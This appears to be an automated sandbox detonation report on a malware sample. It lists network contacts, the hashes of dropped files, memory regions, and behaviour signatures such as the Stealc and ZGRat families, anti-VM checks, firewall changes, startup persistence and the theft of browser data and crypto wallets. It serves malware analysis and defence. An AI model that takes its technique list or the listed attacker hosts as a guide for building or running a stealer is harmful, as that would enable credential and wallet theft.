US 8.8.8.8:53 217.106.137.52.in-addr.arpa udp
US 8.8.8.8:53 90.128.172.185.in-addr.arpa udp
DE 185.172.128.65:80 185.172.128.65 tcp
DE 185.172.128.65:80 185.172.128.65 tcp
US 8.8.8.8:53 65.128.172.185.in-addr.arpa udp
DE 185.172.128.144:80 185.172.128.144 tcp
DE 185.172.128.209:80 185.172.128.209 tcp
US 8.8.8.8:53 209.128.172.185.in-addr.arpa udp
US 8.8.8.8:53 iplogger.com udp
US 104.21.76.57:443 iplogger.com tcp
US 8.8.8.8:53 autoupdate.geo.opera.com udp
NL 185.26.182.123:443 autoupdate.geo.opera.com tcp
NL 185.26.182.123:443 autoupdate.geo.opera.com tcp
US 8.8.8.8:53 desktop-netinstaller-sub.osp.opera.software udp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
US 8.8.8.8:53 svc.iolo.com udp
US 20.157.87.45:80 svc.iolo.com tcp
US 8.8.8.8:53 download.opera.com udp
US 8.8.8.8:53 features.opera-api2.com udp
NL 185.26.182.118:443 features.opera-api2.com tcp
NL 82.145.216.24:443 download.opera.com tcp
US 8.8.8.8:53 57.76.21.104.in-addr.arpa udp
US 8.8.8.8:53 123.182.26.185.in-addr.arpa udp
US 8.8.8.8:53 121.217.145.82.in-addr.arpa udp
US 8.8.8.8:53 118.182.26.185.in-addr.arpa udp
US 8.8.8.8:53 download5.operacdn.com udp
US 104.18.10.89:443 download5.operacdn.com tcp
US 8.8.8.8:53 45.87.157.20.in-addr.arpa udp
US 8.8.8.8:53 24.216.145.82.in-addr.arpa udp
US 8.8.8.8:53 89.10.18.104.in-addr.arpa udp
US 13.107.246.64:443 tcp
US 46.226.167.187:80 46.226.167.187 tcp
US 8.8.8.8:53 download.iolo.net udp
US 8.8.8.8:53 api.myip.com udp
US 104.26.8.59:443 api.myip.com tcp
US 8.8.8.8:53 187.167.226.46.in-addr.arpa udp
US 8.8.8.8:53 183.59.114.20.in-addr.arpa udp
FR 143.244.56.49:443 download.iolo.net tcp
US 8.8.8.8:53 ipinfo.io udp
US 34.117.186.192:443 ipinfo.io tcp
US 8.8.8.8:53 59.8.26.104.in-addr.arpa udp
US 8.8.8.8:53 49.56.244.143.in-addr.arpa udp
US 8.8.8.8:53 192.186.117.34.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
N/A 224.0.0.251:5353 udp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
US 8.8.8.8:53 svc.iolo.com udp
US 20.157.87.45:80 svc.iolo.com tcp
US 8.8.8.8:53 24.66.18.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
NL 82.145.217.121:443 desktop-netinstaller-sub.osp.opera.software tcp
DE 185.172.128.65:80 185.172.128.65 tcp

Files

memory/1848-0-0x0000027129BC0000-0x0000027129BE2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kbxy4fj3.tx1.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1848-10-0x00007FFFB8DD0000-0x00007FFFB9891000-memory.dmp

memory/1848-12-0x0000027129A40000-0x0000027129A50000-memory.dmp

memory/1848-11-0x0000027129A40000-0x0000027129A50000-memory.dmp

memory/1412-13-0x0000000000400000-0x0000000000408000-memory.dmp

memory/1848-14-0x0000027129A40000-0x0000027129A50000-memory.dmp

memory/1848-17-0x00007FFFB8DD0000-0x00007FFFB9891000-memory.dmp

memory/1412-18-0x0000000075060000-0x0000000075810000-memory.dmp

memory/1412-19-0x00000000030F0000-0x0000000003100000-memory.dmp

C:\Users\Admin\Pictures\AptTYE4JZBtdBXCJeYwlGmWb.exe

MD5 5b423612b36cde7f2745455c5dd82577
SHA1 0187c7c80743b44e9e0c193e993294e3b969cc3d
SHA256 e0840d2ea74a00dcc545d770b91d9d889e5a82c7bedf1b989e0a89db04685b09
SHA512 c26a1e7e96dbd178d961c630abd8e564ef69532f386fb198eb20119a88ecab2fe885d71ac0c90687c18910ce00c445f352a5e8fbf5328f3403964f7c7802414c

C:\Users\Admin\Pictures\wIdGuFPH1EGhklPTYOCGq8vk.exe

MD5 53dd8034407bbbf1557c704c4094cb34
SHA1 1fd38f2aa8ef7b2cc15a2e96eda28c64b0726b5a
SHA256 4ebc04dc3b80947ba0da846dc72f5f70fc8bed7dade2cd91540ab374219e866f
SHA512 083c0c6ee42ae39935e9f45ef500d82ba52eb868a51a8858c2b73466f71e5082b2606b5173c4ca58f90797b560d37d8ea5252f2daabce21d208ed8683bf37403

memory/4152-42-0x0000000000AC0000-0x0000000000BC0000-memory.dmp

memory/4152-43-0x0000000000A20000-0x0000000000A8C000-memory.dmp

memory/4152-44-0x0000000000400000-0x0000000000889000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\u37c.0.exe

MD5 51e3ef0a1d7922b7f8a12d2f71884f1a
SHA1 c4d962755aff62b1645e930e516fed964dfe2d78
SHA256 34567116a4502f378362327e1cde0dcaed0cee3c62f9fa651e8d52d44e49e54e
SHA512 e1c6413dbb16434372afcb99c068971ef5a72243768488e93adb915f32c3850f7e34ecb1967b669e2bd658ff7f1e185c009bc7caff8753cc5ba42910145575f7

memory/484-54-0x0000000000A20000-0x0000000000B20000-memory.dmp

memory/484-55-0x00000000009D0000-0x00000000009F7000-memory.dmp

memory/484-56-0x0000000000400000-0x0000000000866000-memory.dmp

C:\Users\Admin\Pictures\lyDAM8InUFWevy8N5a5MLMA7.exe

MD5 31f56b19424e86ee545ea6e4ead861e9
SHA1 6d5be33b96d8353dcf8200223a65b2473571e5ea
SHA256 14d71e1e714463b98424bdebc9c23a4eb2afb7ecaf66fa8e643920cf06dc6327
SHA512 d18d0ea28a80ff4faefb30cfa5a5a7011244f87305b585a865c5723eb40c6ba850b2b60cfe0e92a83b62cd45bceb2e96993779e97535e64cd6d43b0dc7f78e72

C:\Users\Admin\AppData\Local\Temp\Opera_installer_2404031123366381844.dll

MD5 2a3159d6fef1100348d64bf9c72d15ee
SHA1 52a08f06f6baaa12163b92f3c6509e6f1e003130
SHA256 668bf8a7f3e53953dd6789fc6146a205c6c7330832c5d20b439eedb7c52ed303
SHA512 251c0d3cdd0597b962d4e32cf588a82454c42067cbe5e35b41b0548eea742ea25815e5d6830b63c1992b5730a4e6d7c005fb0019aa4c389549b06fff9a74b38c

C:\Users\Admin\AppData\Local\Temp\u37c.1.exe

MD5 397926927bca55be4a77839b1c44de6e
SHA1 e10f3434ef3021c399dbba047832f02b3c898dbd
SHA256 4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7
SHA512 cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

memory/2960-96-0x0000000002640000-0x0000000002641000-memory.dmp

C:\Users\Admin\AppData\Roaming\Opera Software\Opera Stable\Crash Reports\settings.dat

MD5 f52fe890b1b8d7c31563dd4680d451e1
SHA1 28d6f17f17707f375e40856bd88d3380edfdb343
SHA256 028a7fb805702f9fcda883788ac5d0be3a97df13c447eaf90eb4764ae644c3be
SHA512 3e3bfca1d1fd2e7326e4c87901e091b11967cd829a99eec3afed307b9586f9a3e3e13bef3f43b389041e2636c4ddab572a03164bc69d32682a705d6c4ad4d8d6

memory/484-120-0x0000000061E00000-0x0000000061EF3000-memory.dmp

C:\Users\Admin\Pictures\zfcuF2OfGKaSOczCxh9gn7fi.exe

MD5 043dbd643661057bd57f2b5fef28d155
SHA1 08819d63ab2f4641aaf891575b46f3b458045fa2
SHA256 cd397b8859f41846902412c7a48da2adf6f5c0dba1497457009e0495aa01fda6
SHA512 b5abb4082995d7f2b653d7621afceb8b0c455cc0379d7d6c643cf6c43d2e3e24fbdfb391f18cea1c5b7af51be99f2e128f587be2c71e18e6ad0c88a66ff56439

memory/4152-164-0x0000000000400000-0x0000000000889000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\7zSB4AA.tmp\Install.exe

MD5 ea99e72c1ac89aa9cc14178b1c46d50d
SHA1 60b896781f40e89106d0c76abd11c5b5d0832943
SHA256 9cd503eed313e3c5293f192804c0f20a4eef448876f8375fbc26a25be36d5b28
SHA512 03693bda0c8b693c09e416a7d0c335294f74804f336058a59612a07aa0dd918cd70958cc95feba7d3b26b2df235b0a60d0347d6ed6e353fec8c87c969f6068f1

memory/2640-200-0x0000000010000000-0x00000000105E8000-memory.dmp

memory/3044-217-0x0000000010000000-0x00000000105E8000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

C:\Users\Admin\Pictures\yRkw6QVBdHxeWyiJBjhjE5C8.exe

MD5 858bb0a3b4fa6a54586402e3ee117076
SHA1 997c31f043347883ea5ed2323a558b6cc5ea9c8e
SHA256 d97a7fc44bf341b9b2b2e65b46dab4f7d329afe15b4308b5aa56d5bfd7b99d35
SHA512 e8374b115f056b5d345c9b5f9c42b3d49e0640d7fad869448f686add6e52b783ecc7fd35ee15a67b944843491a91becf5b7c0bd5603eda01042dd2904c1ad8fd

memory/484-248-0x0000000000400000-0x0000000000866000-memory.dmp

memory/2960-249-0x0000000000400000-0x00000000008AD000-memory.dmp

C:\Windows\system32\GroupPolicy\gpt.ini

MD5 a62ce44a33f1c05fc2d340ea0ca118a4
SHA1 1f03eb4716015528f3de7f7674532c1345b2717d
SHA256 9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a
SHA512 9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

memory/5728-250-0x00007FF644A90000-0x00007FF64559A000-memory.dmp

memory/484-256-0x0000000000400000-0x0000000000866000-memory.dmp

memory/5728-255-0x00007FFFD66E0000-0x00007FFFD69A9000-memory.dmp

memory/5728-251-0x00007FFFD7600000-0x00007FFFD76BE000-memory.dmp

memory/5728-262-0x00007FFF80030000-0x00007FFF80031000-memory.dmp

memory/5728-260-0x00007FFF80000000-0x00007FFF80002000-memory.dmp

memory/5728-261-0x00007FF644A90000-0x00007FF64559A000-memory.dmp

memory/5728-263-0x00007FF644A90000-0x00007FF64559A000-memory.dmp

memory/5728-264-0x00007FF644A90000-0x00007FF64559A000-memory.dmp

memory/5728-268-0x00007FF644A90000-0x00007FF64559A000-memory.dmp

memory/5728-269-0x00007FF644A90000-0x00007FF64559A000-memory.dmp

memory/5728-274-0x00007FF644A90000-0x00007FF64559A000-memory.dmp

memory/5728-275-0x00007FF644A90000-0x00007FF64559A000-memory.dmp

memory/5728-281-0x00007FFFD8E10000-0x00007FFFD9005000-memory.dmp

C:\Windows\System32\GroupPolicy\gpt.ini

MD5 7534b5b74212cb95b819401235bd116c
SHA1 787ad181b22e161330aab804de4abffbfc0683b0
SHA256 b05c6723077813dc9b48a2f1142db37ea63c672931d13a74d320f7d006756a04
SHA512 ea268788dc59ab78c0aadd4db9bbcf95493bf4eb2b5ae3d592e6876596246832fc574e7bc1348ce7922b32dcedcf71876ff59fb8beace5c06891ec897c9dac51

memory/2960-277-0x0000000000400000-0x00000000008AD000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

MD5 000c98f5d727304a5f37f6c63d7b49ea
SHA1 9e17b76a8ecc417bbc017b2b470c0be26e6883ed
SHA256 b7670e5b3a2b524b002365046a25f35b9220d2529518de073e7a5e2cdf98c88d
SHA512 7a4856b71a63c207134e5100f7e60e00b490779e8ff4ff39d2147d7eb7846b2548d5b8f70a717b5207fc1f187e618e82814645f878a9f1f8c3a59a5e79c20801

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

C:\ProgramData\mozglue.dll

MD5 c8fd9be83bc728cc04beffafc2907fe9
SHA1 95ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256 ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512 fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

C:\ProgramData\nss3.dll

MD5 1cc453cdf74f31e4d913ff9c10acdde2
SHA1 6e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256 ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512 dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

memory/484-325-0x0000000000400000-0x0000000000866000-memory.dmp

memory/2960-326-0x0000000000400000-0x00000000008AD000-memory.dmp

memory/5728-327-0x00007FF644A90000-0x00007FF64559A000-memory.dmp

memory/984-332-0x0000026FA21F0000-0x0000026FA2200000-memory.dmp

memory/984-331-0x00007FFFB7970000-0x00007FFFB8431000-memory.dmp

memory/984-333-0x0000026FA21F0000-0x0000026FA2200000-memory.dmp

memory/484-341-0x0000000000400000-0x0000000000866000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

MD5 d811cc2ec04491564d06fc93a55576bd
SHA1 e9cee1ccbc529803e7ee8ea5d5e31e38f95f8313
SHA256 7008059259904e6e2c76f2d61c3d1e2a3fdfef9d05775c75fd5dbcd7edee470f
SHA512 9ef873f8c0cbf94caa9ea1541920bfdd2e0115ded8943bc8f32bd136d515eb4ea3434fbe7287ee61071eb14736f6e9b7035df0cfec2b7deb025e9199468b0513

memory/1412-357-0x0000000075060000-0x0000000075810000-memory.dmp

memory/5608-359-0x00000260B0330000-0x00000260B0340000-memory.dmp

memory/5608-358-0x00007FFFB7970000-0x00007FFFB8431000-memory.dmp

memory/5608-360-0x00000260B0330000-0x00000260B0340000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\opera_package

MD5 f9172d1f7a8316c593bdddc47f403b06
SHA1 ed1e5a40b040af2c60ed6c2536b3bf7ee55e0e52
SHA256 473f0d4b886db8cd39b900b92bdc0625a3fcec8addd43f71179696bdf186ec3b
SHA512 f51ab2bdf29ca6839e4f7cf1fac1bdfc03ba2da4569a8f21e5d2ee13e6519097c3da40bf0b4ca7642286ed033d0126bbd14ef7842eb9f2db1d6e503849521b02

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 b1508d8dceaca754629a9c85d1b865b4
SHA1 30cad55a399d65369f12b82fc8269f21bc1fdabe
SHA256 8479bd5d9ffd4d83ad1d39c3d00efaa44dce611b651d9a6bb2b3a68228f8db59
SHA512 b32abe058afd416a21f13cad241f865e56b961db58300ce0a8d3f7de2b507bcf76fd94e1f2ab7a87b012d9e9a049d677f28cd30ceb4aef7d35c860d468dc550b

memory/2960-390-0x0000000000400000-0x00000000008AD000-memory.dmp

memory/1412-394-0x00000000030F0000-0x0000000003100000-memory.dmp

memory/5608-397-0x00000260B0330000-0x00000260B0340000-memory.dmp

memory/484-406-0x0000000000400000-0x0000000000866000-memory.dmp

C:\ProgramData\Are.docx

MD5 a33e5b189842c5867f46566bdbf7a095
SHA1 e1c06359f6a76da90d19e8fd95e79c832edb3196
SHA256 5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454
SHA512 f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

C:\Windows\Tasks\bCAdHbOFiqtMCRhbmR.job

MD5 71068f63f4ef05eb4c413a0a72668637
SHA1 5c23b82d1beac52e21f12ef362c6cfd30fc87a43
SHA256 3c411fe5888ee956d9b9cd8dac72903b74919e77d78dabec2a094ed7e839367b
SHA512 f012e253f18ba1edea5c446cdba6fadb6f3d17eecec7d923c546350577d49e9a2b3b617589caafba63adbbecf4d4a0bbd3069c773c2a26111287b8e160df8cec

memory/2960-419-0x0000000000400000-0x00000000008AD000-memory.dmp

memory/484-421-0x0000000000A20000-0x0000000000B20000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe

MD5 20d293b9bf23403179ca48086ba88867
SHA1 dedf311108f607a387d486d812514a2defbd1b9e
SHA256 fd996b95ae46014edfd630bfc2bf8bc9e626adf883a1da017a8c3973b68ec348
SHA512 5d575c6f0d914583f9bb54f7b884caf9182f26f850da9bdd962f4ed5ed7258316a46fafaf3828dccb6916baaadb681fe1d175a3f4ed59f56066dc7e32b66f7b6

memory/2960-420-0x0000000000400000-0x00000000008AD000-memory.dmp

memory/2316-433-0x00007FFFB7970000-0x00007FFFB8431000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\assistant_installer.exe

MD5 b3f05009b53af6435e86cfd939717e82
SHA1 770877e7c5f03e8d684984fe430bdfcc2cf41b26
SHA256 3ea8d40fcede1fc03e5603246d75d13e8d44d7229d4c390c39a55534053027f7
SHA512 d2dee80aaa79b19f1eb1db85079a05f621780e06bfea9e838b62d757ba29399f9090ec7c6ff553377c9b712f3ba8dd812cdff39f3e28829928e86746a8ac6b27

memory/2316-450-0x0000016CCB890000-0x0000016CCF188000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\dbghelp.dll

MD5 925ea07f594d3fce3f73ede370d92ef7
SHA1 f67ea921368c288a9d3728158c3f80213d89d7c2
SHA256 6d02ebd4ec9a6093f21cd8ccefb9445fa0ab7b1f69ac868a5cfc5d28ed8d2de9
SHA512 a809851da820d9fdd8fb860a8f549311dcc2579df2c6f6fba74f50d5d8bf94baa834b09fb5476ac248f18d1deb6b47d4fdd6d658889d5d45ca8774a9264483d2

C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123401\assistant\dbgcore.dll

MD5 8b6f64e5d3a608b434079e50a1277913
SHA1 03f431fabf1c99a48b449099455c1575893d9f32
SHA256 926d444ffca166e006920412677c4ed2ef159cf0efc0578cb45b824f428f5eb2
SHA512 c9aeac62ece564ac64a894300fb9d41d13f22951ead73421854c23c506760d984dff0af92bef2d80f3a66e782f0075832e9c24a50ae6110d27a25c14e065b41c

C:\Users\Admin\AppData\Local\Temp\BGIIDAEBGC.exe

MD5 fe380780b5c35bd6d54541791151c2be
SHA1 7fe3a583cf91474c733f85cebf3c857682e269e1
SHA256 b64a84d1f88e4e78464a1901c1cb5bbd5f00bb73203d719e64e072157a087b53
SHA512 ba05ba8aa13c4bc1cf98fbf6c08b021e8b19354098e0397fc8e1e5d3dcce367c1063203f24e50d0973193f6535681d0a43486e5dade5d112853b7a2fe8739b6c

memory/2936-470-0x0000000000BB0000-0x0000000000BD0000-memory.dmp

memory/5728-471-0x00007FFFD7600000-0x00007FFFD76BE000-memory.dmp

memory/2936-472-0x0000000075060000-0x0000000075810000-memory.dmp

memory/5728-473-0x00007FFFD66E0000-0x00007FFFD69A9000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 1a9b653ce754ba653f020d9211f2aa87
SHA1 fe366af75ea06b9250b1737380d1e1ec5ee1a96e
SHA256 4113d7fe1e15394606dd8b8ca1187c96d5c4bbf9fcbab6d6f1410921dbd16289
SHA512 97e6cfe6798a8fb4c04c6fb75394ac369a61ef9ef5ebe68462dbd8cb9ede95613380bd0647d0d027f2674aed820bb4a6c52a8c874fe0a075cd5ee317ce77139e

memory/2316-478-0x0000016CD0F90000-0x0000016CD0FA0000-memory.dmp

memory/2936-479-0x0000000005280000-0x0000000005290000-memory.dmp

memory/2316-480-0x0000016CE9990000-0x0000016CE9AA0000-memory.dmp

memory/2316-481-0x0000016CCF790000-0x0000016CCF7A0000-memory.dmp

memory/484-483-0x0000000000400000-0x0000000000866000-memory.dmp

memory/2316-482-0x0000016CCF7B0000-0x0000016CCF7BC000-memory.dmp

memory/2316-485-0x0000016CCF7A0000-0x0000016CCF7B4000-memory.dmp

memory/2936-486-0x0000000075060000-0x0000000075810000-memory.dmp

memory/2316-487-0x0000016CD0F70000-0x0000016CD0F94000-memory.dmp

memory/5608-489-0x00007FFFB7970000-0x00007FFFB8431000-memory.dmp

C:\Users\Admin\Pictures\yRkw6QVBdHxeWyiJBjhjE5C8.exe

MD5 7cb7ccf825bda44f89feb094149b38dc
SHA1 ede85d363065d06cddd0441eddbe28eb1df90605
SHA256 005c6897e6c40ff06af63cca71c39d267c81ffa3367d3d1c639ce57e0eafbf10
SHA512 ba35127635feea4bc63a6f73d68f0e72d3edcd36e20504f5add9e3893e4851128c209626520648c68f33c7093c54a409425fae0a0df795cd4b1b4047955f453e

memory/2316-491-0x0000016CD0FB0000-0x0000016CD0FBA000-memory.dmp

memory/2316-492-0x0000016CE9C20000-0x0000016CE9CD2000-memory.dmp

memory/2316-494-0x0000016CE9D00000-0x0000016CE9D7A000-memory.dmp

memory/2316-495-0x0000016CE9D80000-0x0000016CE9DE2000-memory.dmp

memory/2316-493-0x0000016CE9CD0000-0x0000016CE9CFA000-memory.dmp

memory/2316-496-0x0000016CE9E60000-0x0000016CE9ED6000-memory.dmp

memory/984-497-0x00007FFFB7970000-0x00007FFFB8431000-memory.dmp

memory/2316-498-0x0000016CCF5E0000-0x0000016CCF5EA000-memory.dmp

memory/2316-502-0x0000016CE9EE0000-0x0000016CEA1E0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-04-03 11:23

Reported

2024-04-03 11:25

Platform

win11-20240221-en

Max time kernel

144s

Max time network

155s

Command Line

"C:\Users\Admin\AppData\Local\Temp\ad3276e302e34fed06a6afb6db77e6e7dd250df29a5d1695403991b174276f35.exe"

Signatures

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Modifies firewall policy service

evasion
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\C:\ = "1" C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A

Stealc

stealer stealc

ZGRat

rat zgrat

Identifies VirtualBox via ACPI registry values (likely anti-VM)

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File opened for modification C:\Windows\system32\DRIVERS\SETC450.tmp C:\Windows\System32\MsiExec.exe N/A
File created C:\Windows\system32\DRIVERS\SETC450.tmp C:\Windows\System32\MsiExec.exe N/A
File opened for modification C:\Windows\system32\DRIVERS\VBoxDrv.sys C:\Windows\System32\MsiExec.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2oG3yAqGFsJakCwOUtQWdTDL.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c7EjyteoXsNdqMgFRM6yqkmV.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\bEYPRnndaYhYWP8dileFRE2x.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\AxAHxSs8tZxTwgY2FQCr4JnM.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\rI0Kb8IzIjluzKgMuOQWpEaS.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\zFrNrgU54Ea50o1ZdB1En18A.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe N/A
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VQsKtjWPnUS7VfojbwsJQP6u.bat C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\Pictures\xHSuJrJS9vwhsvRTR3eTrJtk.exe N/A
N/A N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
N/A N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\u1sg.0.exe N/A
N/A N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
N/A N/A C:\Users\Admin\Pictures\6Hu1t4TRKcdzy4v1abT8sdrW.exe N/A
N/A N/A C:\Users\Admin\Pictures\fzjvJcnlDLmOSokrFJQkEgGJ.exe N/A
N/A N/A C:\Users\Admin\Pictures\zTyJM5hOpuGaK7i31uroEAKP.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\u1sg.1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSE1B5.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7zSE3A9.tmp\Install.exe N/A
N/A N/A C:\Users\Admin\Pictures\73weWIzju6ojmzZLpcW37C8r.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\Assistant_108.0.5067.20_Setup.exe_sfx.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\opera_package_202404031123321\assistant\assistant_installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BAECFHJEBA.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\vBjgpUK.exe N/A
N/A N/A C:\Users\Admin\Pictures\9WJ4CGLG0XVmnP5KNQnINhJF.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ce-installer_7.14.2_vbox-6.1.20.exe N/A
N/A N/A C:\Windows\Temp\IzRZTwSZebgYVSAl\bfjxgfyuteUVCdh\yYUkcpR.exe N/A

Reads data files stored by FTP clients

spyware stealer

Reads user/profile data of web browsers

spyware stealer

Themida packer

themida
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

